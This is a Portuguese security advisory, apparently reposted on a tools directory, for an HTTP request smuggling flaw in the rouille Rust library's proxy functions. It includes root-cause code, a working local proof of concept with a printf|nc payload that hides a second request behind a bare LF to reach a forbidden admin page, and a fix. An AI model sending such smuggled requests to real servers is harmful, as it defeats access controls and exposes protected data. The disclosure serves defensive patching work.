Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-67182-HTTP-Request-Smuggling-Enables-Front-End-Access-Control-Bypass-rouille- — Aviso de Segurança: Contrabando de Requisições HTTP Permite Bypass do Controle de Acesso do Front-End (rouille) | Kitploit
Ferramentas/GitHubGitHub/theopaid/cve-2026-67182-http-request-smuggling-enables-front-end-access-control-bypass-rouille-
Análise de VulnerabilidadesExploração de Aplicações WebSegurança WebPapers e PesquisaAprendizado e Educação
GitHubtheopaid/cve-2026-67182-http-request-smuggling-enables-front-end-access-control-bypass-rouille-

CVE-2026-67182-HTTP-Request-Smuggling-Enables-Front-End-Access-Control-Bypass-rouille-

Aviso de Segurança: Contrabando de Requisições HTTP Permite Bypass do Controle de Acesso do Front-End (rouille)

Ver Repositório
2há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Aviso de Segurança: Contrabando de Requisições HTTP Permite Bypass do Controle de Acesso do Front-End (rouille)

ID CVE atribuído: CVE-2026-67182

Resumo

rouille::proxy::proxy e rouille::proxy::full_proxy copiam os valores de cabeçalhos de requisição fornecidos pelo cliente para a conexão a montante (upstream) sem verificar se contêm caracteres de controle. Um valor de cabeçalho pode legitimamente conter uma quebra de linha isolada (0x0A), pois o parser de cabeçalhos do tiny_http subjacente só encerra uma linha de cabeçalho em CRLF. Backends que aceitam um LF isolado como terminador de linha portanto leem uma requisição do front-end como duas.

A segunda requisição é totalmente controlada pelo atacante, incluindo método e caminho, e nunca passa pelo handler do rouille que decidiu fazer o proxy da primeira. O corpo da resposta dela também é devolvido ao atacante.

Versões afetadas

URL do repositório: https://github.com/tomaka/rouille

Primeira versão afetada0.3.3 (2016-12-03), a versão que introduziu src/proxy.rs
Última versão afetada3.6.2 (2023-04-24), a versão atual
Não afetadas0.3.2 e anteriores, que não possuem módulo de proxy
Corrigida emnenhuma versão corrigida até o momento desta escrita

Toda versão publicada de 0.3.3 a 3.6.2 contém o código sem modificações. O arquivo src/proxy.rs é byte a byte idêntico entre a tag 3.6.2 e o branch master atual.

Somente aplicações que chamam proxy::proxy ou proxy::full_proxy são afetadas.

Severidade

CWE-444 (Interpretação Inconsistente de Requisições HTTP), alcançada por meio de CWE-113 (Neutralização Incorreta de Sequências CRLF em Cabeçalhos HTTP).

Pontuação base CVSS 4.0: 6.9 (Média) CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:L/SA:N

Modelo de ameaça

O atacante é um cliente remoto não autenticado que pode enviar HTTP bruto a um servidor rouille. Não são necessárias credenciais, interação do usuário nem posição na rede entre os componentes.

A implantação em risco é uma aplicação rouille atuando como proxy reverso que toma uma decisão de segurança (roteamento, autenticação, autorização ou filtro de conteúdo) antes de chamar proxy(), à frente de um backend cujo parser HTTP aceita um LF isolado como terminador de linha de cabeçalho.

Comportamento medido dos backends:

BackendVersão testadaAceita o LF injetado
Go net/httpgo1.26.4sim, atende a requisição contrabandeada
Python http.server (protocol_version = "HTTP/1.1")CPython 3.13sim, atende a requisição contrabandeada
Node.jsv26.3.0não, retorna 400 (modo estrito do llhttp)
Servidor embutido do PHP8.5.8não, encerra a conexão

nginx e Apache não foram testados. A seção 2.2 da RFC 9112 permite que um receptor reconheça um LF isolado como terminador de linha; portanto, os backends que aceitam estão se comportando dentro da especificação.

Causa raiz

rouille/src/proxy.rs, linhas 157 a 174:

root@kitploit:~
157      for (header, value) in request.headers() {
158          let value = if header == "Host" {
159              if let Some(ref replace) = config.replace_host {
160                  &**replace
161              } else {
162                  value
163              }
164          } else {
165              value
166          };
167          if header == "Connection" {
168              continue;
169          }
170  
171          socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172      }
173      socket.write_all(b"Connection: close\r\n\r\n")?;
174      io::copy(&mut data, &mut socket)?;

A linha 171 é o ponto vulnerável (sink). value não é confiável e é escrito sem nenhuma validação.

A contaminação (taint) entra por meio do tiny_http. Em tiny_http-0.12.0/src/client.rs, linhas 80 a 102, uma linha de cabeçalho só termina quando um LF segue um CR:

root@kitploit:~
 92              if byte == b'\n' && prev_byte_was_cr {
 93                  buf.pop(); // removing the '\r'
 94                  return AsciiString::from_ascii(buf)
 95                      .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
 96              }
 97  
 98              prev_byte_was_cr = byte == b'\r';
 99  
100              buf.push(byte);

Um LF isolado chega à linha 100 e é colocado no buffer da linha. LF é ASCII válido, então AsciiString::from_ascii o aceita. Header::from_str, na linha 184 de tiny_http-0.12.0/src/common.rs, então apenas faz trim do valor, removendo os espaços em branco do início e do fim, mas deixando os bytes internos intactos:

root@kitploit:~
187          let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
188          let value = elems
189              .next()
190              .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
191              .ok_or(())?;

O resultado é um valor de cabeçalho do rouille contendo um \n cru, que a linha 171 de proxy.rs escreve diretamente na requisição a montante.

Connection: close na linha 173 não contém o dano. A linha em branco injetada encerra a primeira requisição antes que a linha 173 seja executada; portanto, esse cabeçalho é absorvido pela requisição contrabandeada. A primeira requisição não carrega cabeçalho Connection e usa o padrão HTTP/1.1 keep-alive, que é exatamente o que permite ao backend continuar e processar a segunda.

Prova de Conceito

Passo 1. Crie um diretório raiz de documentos no backend com um arquivo público e um arquivo que o proxy deve proteger.

root@kitploit:~
mkdir -p /tmp/webroot/public
echo "PUBLIC PAGE"       > /tmp/webroot/public/index.html
echo "SECRET ADMIN PAGE" > /tmp/webroot/admin.html

Passo 2. Inicie um backend keep-alive na porta 8001.

root@kitploit:~
cd /tmp/webroot
python3 -c '
import http.server, socketserver, sys
class H(http.server.SimpleHTTPRequestHandler):
    protocol_version = "HTTP/1.1"
    def log_message(self, f, *a):
        sys.stderr.write("[backend] " + (f % a) + "\n"); sys.stderr.flush()
socketserver.TCPServer.allow_reuse_address = True
socketserver.TCPServer(("127.0.0.1", 8001), H).serve_forever()
'

Passo 3. Inicie o front-end rouille na porta 8000. Ele encaminha /public/ via proxy e recusa todo o resto.

root@kitploit:~
use rouille::{proxy, Response};

fn main() {
    rouille::start_server("127.0.0.1:8000", |request| {
        if !request.url().starts_with("/public/") {
            return Response::text("forbidden").with_status_code(403);
        }
        proxy::full_proxy(request, proxy::ProxyConfig {
            addr: "127.0.0.1:8001", replace_host: None,
        }).unwrap()
    });
}

Passo 4. Confirme que o controle de acesso funciona.

root@kitploit:~
printf 'GET /admin.html HTTP/1.1\r\nHost: x\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8000
root@kitploit:~
HTTP/1.1 403 Forbidden

Passo 5. Envie uma única requisição para o caminho permitido com um LF isolado dentro do valor de um cabeçalho. No comando abaixo, \n é uma quebra de linha isolada e \r\n é um CRLF. A distinção é o ataque inteiro; portanto, não deixe um editor normalizá-la.

root@kitploit:~
printf 'GET /public/index.html HTTP/1.1\r\nHost: x\r\nX-Bait: a\n\nGET /admin.html HTTP/1.1\nHost: x\nX-End: 1\r\n\r\n' | nc 127.0.0.1 8000

Resultado. O log do backend mostra duas requisições, sendo a segunda o caminho que o front-end recusou no passo 4:

root@kitploit:~
[backend] "GET /public/index.html HTTP/1.1" 200 -
[backend] "GET /admin.html HTTP/1.1" 200 -

O atacante também recebe o conteúdo protegido, pois a linha 224 de src/proxy.rs transforma o restante do socket a montante no corpo da resposta:

root@kitploit:~
HTTP/1.1 200 OK
Content-type: text/html
Transfer-Encoding: chunked

d7
PUBLIC PAGE
HTTP/1.1 200 OK
Content-type: text/html
Content-Length: 18

SECRET ADMIN PAGE

Impacto

Um cliente não autenticado pode emitir uma requisição arbitrária para o backend e ler sua resposta, enquanto o handler do rouille só vê a requisição permitida. Isso anula o controle de acesso baseado em caminho, a autenticação realizada no handler e qualquer inspeção de requisição realizada antes da chamada a proxy().

Dois limites merecem ser mencionados. proxy() abre uma nova conexão TCP por requisição e não faz pool de conexões; portanto, isso não proporciona o envenenamento de fila de requisições entre usuários associado ao contrabando clássico. O ataque também exige um backend tolerante a LF, conforme medido acima.

Remediação

Rejeite nomes e valores de cabeçalho que contenham caracteres de controle antes de escrevê-los a montante. Em src/proxy.rs, dentro do loop na linha 157:

root@kitploit:~
if header.bytes().any(|b| b < 0x21 || b == 0x7f)
    || value.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
{
    return Err(ProxyError::HttpParseError);
}
Baixar ferramenta